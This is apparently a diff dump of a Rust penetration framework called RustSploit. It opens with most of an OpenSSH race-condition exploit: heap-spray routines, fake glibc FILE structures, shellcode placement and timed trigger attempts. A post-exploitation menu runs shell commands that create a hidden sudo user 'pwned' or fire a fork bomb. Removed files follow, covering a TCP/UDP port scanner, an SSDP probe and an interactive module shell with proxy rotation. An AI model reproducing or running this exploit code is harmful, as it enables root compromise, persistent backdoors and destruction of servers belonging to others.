Err(e) => return Err(e.into()),
}
}
}
// // Send SSH version string
fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n")?;
Ok(())
}
// // Receive SSH version from server
fn receive_ssh_version(stream: &mut TcpStream) -> Result<()> {
let mut buffer = [0u8; 256];
recv_retry(stream, &mut buffer)?;
Ok(())
}
// // Send SSH KEX INIT packet
fn send_kex_init(stream: &mut TcpStream) -> Result<()> {
let payload = vec![0u8; 36];
send_packet(stream, 20, &payload)
}
// // Receive KEX INIT response
fn receive_kex_init(stream: &mut TcpStream) -> Result<()> {
let mut buffer = [0u8; 1024];
recv_retry(stream, &mut buffer)?;
Ok(())
}
// // Perform SSH handshake steps
fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
send_ssh_version(stream)?;
receive_ssh_version(stream)?;
send_kex_init(stream)?;
receive_kex_init(stream)?;
Ok(())
}
// // Heap spraying phase
fn prepare_heap(stream: &mut TcpStream) -> Result<()> {
for _ in 0..10 {
let data = vec![b'A'; 64];
send_packet(stream, 5, &data)?;
}
for _ in 0..27 {
let large = vec![b'B'; 8192];
let small = vec![b'C'; 320];
send_packet(stream, 5, &large)?;
send_packet(stream, 5, &small)?;
}
for _ in 0..27 {
let mut fake = vec![0u8; 4096];
create_fake_file_structure(&mut fake, GLIBC_BASES[0]);
send_packet(stream, 5, &fake)?;
}
let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
send_packet(stream, 5, &large_fill)?;
Ok(())
}
// // Craft fake file structure in buffer
fn create_fake_file_structure(data: &mut [u8], base: u64) {
data.fill(0);
let len = data.len();
data[len - 16..len - 8].copy_from_slice(&base.wrapping_add(0x21b740).to_le_bytes());
data[len - 8..len].copy_from_slice(&base.wrapping_add(0x21d7f8).to_le_bytes());
}
// // Send malformed public key and measure delay
fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
let error_packet = if error_type == 1 {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3".to_vec()
} else {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9".to_vec()
};
let start = Instant::now();
send_packet(stream, 50, &error_packet)?;
let _ = stream.read(&mut [0u8; 1024]);
Ok(start.elapsed().as_secs_f64())
}
// // Calculate parsing delay
fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
let t1 = measure_response_time(stream, 1)?;
let t2 = measure_response_time(stream, 2)?;
Ok(t2 - t1)
}
// // Create packet with shellcode and fake structures
fn create_public_key_packet(buffer: &mut [u8], base: u64) {
buffer.fill(0);
buffer[..8].copy_from_slice(b"ssh-rsa ");
let offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
buffer[offset..offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
for i in 0..27 {
let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
create_fake_file_structure(&mut buffer[pos..pos + 304], base);
}
}
// // Attempt to trigger race condition
fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, base: u64) -> Result<bool> {
let mut payload = vec![0u8; MAX_PACKET_SIZE];
create_public_key_packet(&mut payload, base);
stream.write_all(&payload[..payload.len() - 1])?;
let start = Instant::now();
while start.elapsed().as_secs_f64() < (LOGIN_GRACE_TIME - parsing_time - 0.001) {}
stream.write_all(&payload[payload.len() - 1..])?;
let mut buf = [0u8; 1024];
match stream.read(&mut buf) {
Ok(n) if n > 0 && !buf.starts_with(b"SSH-2.0-") => Ok(true),
Ok(0) => Ok(true),
Err(_) => Ok(true),
_ => Ok(false),
}
}
// // Execute post-exploitation action
fn post_exploit_action(option: u8) {
match option {
1 => {
println!("[+] Root shell enabled - attach manually via SSH");
}
2 => {
println!("[+] Creating persistent user...");
let _ = Command::new("bash")
.arg("-c")
.arg("useradd -m -p $(openssl passwd -1 root123) pwned && usermod -aG sudo pwned")
.status();
}
3 => {
println!("[!] Triggering fork bomb...");
let _ = Command::new("bash")
.arg("-c")
.arg(":(){ :|:& };:")
.status();
}
_ => println!("[-] Invalid action"),
}
}
// // Entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
println!("Select post-exploitation action:");
println!(" 1. Remote Root Shell");
println!(" 2. Persistence (create SSH user)");
println!(" 3. Server Destruction (fork bomb)");
let stdin = io::stdin();
let mut choice = String::new();
print!("Enter option [1-3]: ");
io::stdout().flush()?;
stdin.lock().read_line(&mut choice)?;
let mode: u8 = choice.trim().parse().unwrap_or(0);
if !(1..=3).contains(&mode) {
bail!("Invalid option.");
}
println!("Do you want to run more than 10,000 attempts? [y/N]");
let mut input = String::new();
stdin.lock().read_line(&mut input)?;
let extra = input.trim().eq_ignore_ascii_case("y");
let mut attempts = 10000;
if extra {
println!("Enter total number of attempts:");
input.clear();
stdin.lock().read_line(&mut input)?;
attempts = input.trim().parse::<usize>().unwrap_or(10000);
}
// // Parse IP and port — if missing, prompt for port
let (ip, port) = if let Some((ip_part, port_part)) = target.split_once(':') {
(ip_part.to_string(), port_part.parse::<u16>()?)
} else {
// // Prompt for port if not included in the target string
println!("No set target ip:port specified. Enter SSH port for {}: ", target);
print!("Port: ");
io::stdout().flush()?;
let mut port_input = String::new();
io::stdin().lock().read_line(&mut port_input)?;
let port = port_input.trim().parse::<u16>()?;
(target.to_string(), port)
};
let semaphore = Arc::new(Semaphore::new(MAX_PARALLEL_ATTEMPTS));
for &base in &GLIBC_BASES {
println!("[*] Trying GLIBC base 0x{:x}", base);
let mut handles = vec![];
for attempt in 0..attempts {
let permit = semaphore.clone().acquire_owned().await?;
let ip = ip.clone();
let handle = task::spawn(async move {
let _permit = permit;
if attempt % 1000 == 0 {
println!("[*] Attempt {}/{}", attempt, attempts);
}
let mut stream = match setup_connection(&ip, port) {
Ok(s) => s,
Err(_) => return false,
};
if perform_ssh_handshake(&mut stream).is_err() {
return false;
}
if prepare_heap(&mut stream).is_err() {
return false;
}
let Ok(parsing_time) = time_final_packet(&mut stream) else {
return false;
};
attempt_race_condition(stream, parsing_time, base).unwrap_or(false)
});
handles.push(handle);
}
for h in handles {
if h.await.unwrap_or(false) {
println!("[+] Exploit succeeded!");
post_exploit_action(mode);
return Ok(());
}
}
println!("[-] Exploit failed with base 0x{:x}", base);
}
println!("[-] All attempts exhausted.");
Ok(())
}
-3
View File
@@ -1,3 +0,0 @@
pub mod exploits;
pub mod scanners;
pub mod creds;
-3
View File
@@ -1,3 +0,0 @@
pub mod sample_scanner;
pub mod ssdp_msearch;
pub mod port_scanner;
-200
View File
@@ -1,200 +0,0 @@
use anyhow::Result;
use std::{
fs::File,
io::{self, Write},
net::SocketAddr,
sync::Arc,
};
use tokio::{
net::{TcpStream, UdpSocket},
sync::Semaphore,
time::{timeout, Duration},
};
#[allow(dead_code)]
pub struct ScanSettings {
pub concurrency: usize,
pub timeout_secs: u64,
pub show_only_open: bool,
pub verbose: bool,
pub scan_udp_enabled: bool,
pub output_file: String,
}
#[allow(dead_code)]
/// Prompt user for scan configuration
pub fn prompt_settings() -> Result<ScanSettings> {
Ok(ScanSettings {
concurrency: prompt_usize("Concurrency: ")?,
timeout_secs: prompt_usize("Timeout (in seconds): ")? as u64,
show_only_open: prompt_bool("Show only open ports? (y/n): ")?,
verbose: prompt_bool("Verbose output? (y/n): ")?,
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n): ")?,
output_file: prompt("Output filename: ")?,
})
}
#[allow(dead_code)]
/// Interactive entry point
pub async fn run_interactive(target: &str) -> Result<()> {
let settings = prompt_settings()?;
run_with_settings(
target,
settings.concurrency,
settings.timeout_secs,
settings.show_only_open,
settings.verbose,
settings.scan_udp_enabled,
&settings.output_file,
)
.await
}
/// Dispatch-compatible wrapper
#[allow(dead_code)]
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
/// Renamed internal function to avoid clash
pub async fn run_with_settings(
target: &str,
concurrency: usize,
timeout_secs: u64,
show_only_open: bool,
verbose: bool,
scan_udp_enabled: bool,
output_file: &str,
) -> Result<()> {
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut tasks = vec![];
let mut file = File::create(output_file)?;
writeln!(file, "Scan Results for {}\n", target)?;
println!("[*] Starting TCP scan...");
for port in 1..=65535 {
let permit = semaphore.clone().acquire_owned().await?;
let target = target.to_string();
let mut file = file.try_clone()?;
let handle = tokio::spawn(async move {
let _permit = permit;
if let Some((status, banner)) = scan_tcp(&target, port, timeout_secs).await {
let line = format!("[TCP] {}:{} => {}", target, port, status);
if status == "OPEN" || !show_only_open {
if !banner.is_empty() {
writeln!(file, "{} | Banner: {}", line, banner).ok();
if verbose {
println!("{} | Banner: {}", line, banner);
}
} else {
writeln!(file, "{}", line).ok();
if verbose {
println!("{}", line);
}
}
}
}
});
tasks.push(handle);
}
if scan_udp_enabled {
println!("[*] Starting UDP scan...");
for port in 1..=65535 {
let permit = semaphore.clone().acquire_owned().await?;
let target = target.to_string();
let mut file = file.try_clone()?;
let handle = tokio::spawn(async move {
let _permit = permit;
if let Some(status) = scan_udp(&target, port, timeout_secs).await {
let line = format!("[UDP] {}:{} => {}", target, port, status);
if status == "OPEN" || !show_only_open {
writeln!(file, "{}", line).ok();
if verbose {
println!("{}", line);
}
}
}
});
tasks.push(handle);
}
}
for task in tasks {
let _ = task.await;
}
println!("[*] Scan complete. Results saved to {}", output_file);
Ok(())
}
/// TCP connect scan + banner grab
async fn scan_tcp(ip: &str, port: u16, timeout_secs: u64) -> Option<(String, String)> {
let addr = format!("{}:{}", ip, port);
match timeout(Duration::from_secs(timeout_secs), TcpStream::connect(&addr)).await {
Ok(Ok(stream)) => {
let mut buf = [0; 1024];
match timeout(Duration::from_secs(2), stream.readable()).await {
Ok(Ok(())) => match stream.try_read(&mut buf) {
Ok(n) if n > 0 => {
let banner = String::from_utf8_lossy(&buf[..n]).to_string();
Some(("OPEN".into(), banner))
}
_ => Some(("OPEN".into(), "".into())),
},
_ => Some(("OPEN".into(), "".into())),
}
}
Ok(Err(_)) => Some(("CLOSED".into(), "".into())),
Err(_) => Some(("TIMEOUT".into(), "".into())),
}
}
/// UDP scan (null packet, timeout-based)
async fn scan_udp(ip: &str, port: u16, timeout_secs: u64) -> Option<String> {
let local = "0.0.0.0:0".parse::<SocketAddr>().unwrap();
let remote = format!("{}:{}", ip, port).parse::<SocketAddr>().ok()?;
let socket = UdpSocket::bind(local).await.ok()?;
let _ = socket.send_to(b"\x00", remote).await;
let mut buf = [0u8; 512];
match timeout(Duration::from_secs(timeout_secs), socket.recv_from(&mut buf)).await {
Ok(Ok((_n, _))) => Some("OPEN".into()),
_ => None,
}
}
/// Prompt for string input
fn prompt(message: &str) -> Result<String> {
print!("{}", message);
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
Ok(buf.trim().to_string())
}
/// Prompt for boolean yes/no
fn prompt_bool(message: &str) -> Result<bool> {
loop {
let input = prompt(message)?;
match input.to_lowercase().as_str() {
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("Please enter 'y' or 'n'."),
}
}
}
/// Prompt for number input
fn prompt_usize(message: &str) -> Result<usize> {
loop {
let input = prompt(message)?;
if let Ok(n) = input.parse::<usize>() {
return Ok(n);
}
println!("Please enter a valid number.");
}
}
-15
View File
@@ -1,15 +0,0 @@
use anyhow::{Result, Context};
use reqwest;
/// A simple scanner that tries an HTTP GET and prints the response code
pub async fn run(target: &str) -> Result<()> {
println!("[*] Running sample_scanner on: {}", target);
let url = format!("http://{}", target);
let resp = reqwest::get(&url)
.await
.context("Failed to send request")?;
println!("[*] Status code: {}", resp.status());
Ok(())
}
-69
View File
@@ -1,69 +0,0 @@
use anyhow::{Result};
use regex::Regex;
use std::collections::HashMap;
use std::net::SocketAddr;
use tokio::net::UdpSocket;
use tokio::time::{timeout, Duration};
pub async fn run(target_ip: &str) -> Result<()> {
let port = 1900;
println!("[*] Sending SSDP M-SEARCH to {}:{}...", target_ip, port);
let addr = format!("{}:{}", target_ip, port);
let local_bind: SocketAddr = "0.0.0.0:0".parse()?;
let socket = UdpSocket::bind(local_bind).await?;
socket.connect(&addr).await?;
let request = format!(
"M-SEARCH * HTTP/1.1\r\n\
HOST: {}:{}\r\n\
MAN: \"ssdp:discover\"\r\n\
MX: 2\r\n\
ST: upnp:rootdevice\r\n\r\n",
target_ip, port
);
socket.send(request.as_bytes()).await?;
let mut buf = vec![0u8; 2048];
match timeout(Duration::from_secs(3), socket.recv(&mut buf)).await {
Ok(Ok(size)) => {
let response = String::from_utf8_lossy(&buf[..size]);
parse_ssdp_response(&response, target_ip, port);
}
_ => {
println!("[-] Target did not respond to M-SEARCH request");
}
}
Ok(())
}
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16) {
let regexps = vec![
("server", r"(?i)Server:\s*(.*?)\r\n"),
("location", r"(?i)Location:\s*(.*?)\r\n"),
("usn", r"(?i)USN:\s*(.*?)\r\n"),
];
let mut results: HashMap<&str, String> = HashMap::new();
for (key, pattern) in regexps {
if let Ok(re) = Regex::new(pattern) {
if let Some(caps) = re.captures(response) {
results.insert(key, caps.get(1).map(|m| m.as_str()).unwrap_or("").to_string());
} else {
results.insert(key, String::from(""));
}
}
}
println!(
"[+] {}:{} | {} | {} | {}",
target_ip,
port,
results.get("server").unwrap_or(&"".to_string()),
results.get("location").unwrap_or(&"".to_string()),
results.get("usn").unwrap_or(&"".to_string())
);
}
-217
View File
@@ -1,217 +0,0 @@
use crate::commands;
use crate::utils;
use anyhow::Result;
use rand::prelude::*; // Updated for rand 0.10
use std::env;
use std::io::{self, Write};
use std::collections::HashSet;
/// Simple interactive shell context
struct ShellContext {
current_module: Option<String>,
current_target: Option<String>,
proxy_list: Vec<String>,
proxy_enabled: bool,
}
impl ShellContext {
fn new() -> Self {
ShellContext {
current_module: None,
current_target: None,
proxy_list: Vec::new(),
proxy_enabled: false,
}
}
}
pub async fn interactive_shell() -> Result<()> {
println!("Welcome to RustSploit Shell (inspired by RouterSploit)");
println!("Type 'help' for a list of commands. Type 'exit' or 'quit' to leave.");
let mut ctx = ShellContext::new();
loop {
print!("rsf> ");
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let input = input.trim();
if input.is_empty() {
continue;
}
match input {
"exit" | "quit" => {
println!("Exiting...");
break;
},
"help" => {
println!("Available commands:");
println!(" use <module_path> - Select a module (e.g. 'use exploits/sample_exploit')");
println!(" set target <value> - Set the target IP/host");
println!(" run - Run the current module (with proxy retries if enabled)");
println!(" modules - List available modules");
println!(" find <keyword> - Search for a module by keyword");
println!(" proxy_load <file> - Load a list of proxies (http://ip:port, https://ip:port, socks4://ip:port, socks5://ip:port.)");
println!(" proxy_on - Enable proxy usage");
println!(" proxy_off - Disable proxy usage");
println!(" show_proxies - Show loaded proxies & current proxy status");
println!(" exit, quit - Exit the shell");
},
"modules" => {
utils::list_all_modules();
},
cmd if cmd.starts_with("find ") => {
let keyword = cmd.trim_start_matches("find ").trim();
if keyword.is_empty() {
println!("Usage: find <keyword>");
} else {
utils::find_modules(keyword);
}
},
cmd if cmd.starts_with("proxy_load ") => {
let file = cmd.trim_start_matches("proxy_load ").trim();
match utils::load_proxies_from_file(file) {
Ok(list) => {
ctx.proxy_list = list;
println!("Loaded {} proxies from '{}'.", ctx.proxy_list.len(), file);
}
Err(e) => {
println!("Failed to load proxies: {}", e);
}
}
},
"proxy_on" => {
ctx.proxy_enabled = true;
println!("Proxy usage enabled.");
},
"proxy_off" => {
ctx.proxy_enabled = false;
println!("Proxy usage disabled.");
clear_proxy_env_vars();
},
"show_proxies" => {
if ctx.proxy_list.is_empty() {
println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
} else {
println!("Loaded proxies ({}):", ctx.proxy_list.len());
for p in &ctx.proxy_list {
println!(" {}", p);
}
}
println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
},
cmd if cmd.starts_with("use ") => {
let module_path = cmd.trim_start_matches("use ").trim();
if utils::module_exists(module_path) {
ctx.current_module = Some(module_path.to_string());
println!("Module '{}' selected.", module_path);
} else {
println!("Module '{}' not found.", module_path);
}
},
cmd if cmd.starts_with("set ") => {
let parts: Vec<&str> = cmd.split_whitespace().collect();
if parts.len() >= 3 && parts[1] == "target" {
ctx.current_target = Some(parts[2].to_string());
println!("Target set to {}", parts[2]);
} else {
println!("Usage: set target <value>");
}
},
"run" => {
if let Some(ref module_path) = ctx.current_module {
if let Some(ref t) = ctx.current_target {
// -----------------------------
// NEW: Proxy Retry Logic
// -----------------------------
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
let mut tried_proxies = HashSet::new();
let mut success = false;
while tried_proxies.len() < ctx.proxy_list.len() {
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
set_all_proxy_env(&chosen_proxy);
println!("[*] Using proxy: {}", chosen_proxy);
println!("Running module '{}' against target '{}'", module_path, t);
match commands::run_module(module_path, t).await {
Ok(_) => {
success = true;
break;
}
Err(e) => {
eprintln!("[!] Module failed with error: {:?}", e);
eprintln!(" Retrying with a new proxy...");
tried_proxies.insert(chosen_proxy);
}
}
}
if !success {
println!("[!] All proxies failed. Trying direct connection...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Final direct attempt also failed: {:?}", e);
}
}
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
} else {
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
}
} else {
println!("No target set. Use 'set target <value>' first.");
}
} else {
println!("No module selected. Use 'use <module>' first.");
}
},
_ => {
println!("Unknown command: '{}'. Type 'help' for usage.", input);
},
}
}
Ok(())
}
/// Picks a random proxy from `proxy_list` that is NOT in `tried_proxies`.
fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
let untried: Vec<&String> = proxy_list.iter()
.filter(|p| !tried_proxies.contains(*p))
.collect();
if untried.is_empty() {
// Fall back if somehow there's nothing untried
let mut rng = rand::rng();
let idx = rng.random_range(0..proxy_list.len());
return proxy_list[idx].clone();
}
let mut rng = rand::rng();
let idx = rng.random_range(0..untried.len());
untried[idx].clone()
}
/// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)
fn set_all_proxy_env(proxy: &str) {
env::set_var("ALL_PROXY", proxy);
}
/// Clears environment variables for direct connection
fn clear_proxy_env_vars() {
env::remove_var("ALL_PROXY");
env::remove_var("HTTP_PROXY");
env::remove_var("HTTPS_PROXY");
}
-150
View File
@@ -1,150 +0,0 @@
use colored::*;
use std::fs;
use std::io::{BufRead, BufReader, Error};
use std::path::{Path};
/// Maximum folder depth to traverse
const MAX_DEPTH: usize = 6;
/// Recursively list .rs files up to a certain depth (unchanged)
fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
let mut modules = Vec::new();
if depth > MAX_DEPTH || !dir.exists() {
return modules;
}
if let Ok(entries) = fs::read_dir(dir) {
for entry in entries.flatten() {
let path = entry.path();
if path.is_dir() {
modules.extend(collect_module_paths(&path, depth + 1));
} else if let Some(file_name) = path.file_name().and_then(|s| s.to_str()) {
if file_name.ends_with(".rs") && file_name != "mod.rs" {
let relative_path = path
.strip_prefix("src/modules")
.unwrap_or(&path)
.with_extension("")
.to_string_lossy()
.replace('\\', "/"); // For Windows
modules.push(relative_path);
}
}
}
}
modules
}
/// Dynamically checks if a module path exists at any depth (unchanged)
pub fn module_exists(module_path: &str) -> bool {
let modules = collect_module_paths(Path::new("src/modules"), 0);
modules.iter().any(|m| m == module_path)
}
/// Lists all available modules recursively under src/modules/ (unchanged)
pub fn list_all_modules() {
println!("{}", "Available modules:".bold().underline());
let modules = collect_module_paths(Path::new("src/modules"), 0);
if modules.is_empty() {
println!("{}", "No modules found.".red());
return;
}
let mut grouped = std::collections::BTreeMap::new();
for module in modules {
let parts: Vec<&str> = module.split('/').collect();
let category = parts.get(0).unwrap_or(&"Other").to_string();
grouped
.entry(category)
.or_insert_with(Vec::new)
.push(module.clone());
}
for (category, paths) in grouped {
println!("\n{}:", category.blue().bold());
for path in paths {
println!(" - {}", path.green());
}
}
}
/// Finds and displays modules matching a keyword
pub fn find_modules(keyword: &str) {
let keyword_lower = keyword.to_lowercase();
let modules = collect_module_paths(Path::new("src/modules"), 0);
let filtered: Vec<String> = modules
.into_iter()
.filter(|m| m.to_lowercase().contains(&keyword_lower))
.collect();
if filtered.is_empty() {
println!(
"{}",
format!("No modules found matching '{}'.", keyword).red()
);
return;
}
println!(
"{}",
format!("Modules matching '{}':", keyword).bold().underline()
);
let mut grouped = std::collections::BTreeMap::new();
for module in filtered {
let parts: Vec<&str> = module.split('/').collect();
let category = parts.get(0).unwrap_or(&"Other").to_string();
grouped
.entry(category)
.or_insert_with(Vec::new)
.push(module.clone());
}
for (category, paths) in grouped {
println!("\n{}:", category.blue().bold());
for path in paths {
println!(" - {}", path.green());
}
}
}
/// Parses a single proxy line (e.g., "1.2.3.4:9050" -> "http://1.2.3.4:9050")
/// or "socks5://127.0.0.1:9050" -> "socks5://127.0.0.1:9050"
fn parse_proxy_line(line: &str) -> String {
let trimmed = line.trim().to_lowercase();
if trimmed.starts_with("http://")
|| trimmed.starts_with("https://")
|| trimmed.starts_with("socks4://")
|| trimmed.starts_with("socks5://")
{
// User specified a scheme, keep as is (but restore original case if you want).
line.to_string()
} else {
// Default to HTTP if no scheme is provided
format!("http://{}", line)
}
}
/// Load proxies from a file, returning lines like:
/// [ "http://1.2.3.4:8080", "socks4://5.6.7.8:1080", "socks5://..." ] etc.
pub fn load_proxies_from_file(filename: &str) -> Result<Vec<String>, Error> {
let file = fs::File::open(filename)?;
let reader = BufReader::new(file);
let mut proxies = Vec::new();
for line in reader.lines() {
let line = line?.trim().to_string();
if !line.is_empty() {
let parsed = parse_proxy_line(&line);
proxies.push(parsed);
}
}
Ok(proxies)
}
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 349 KiB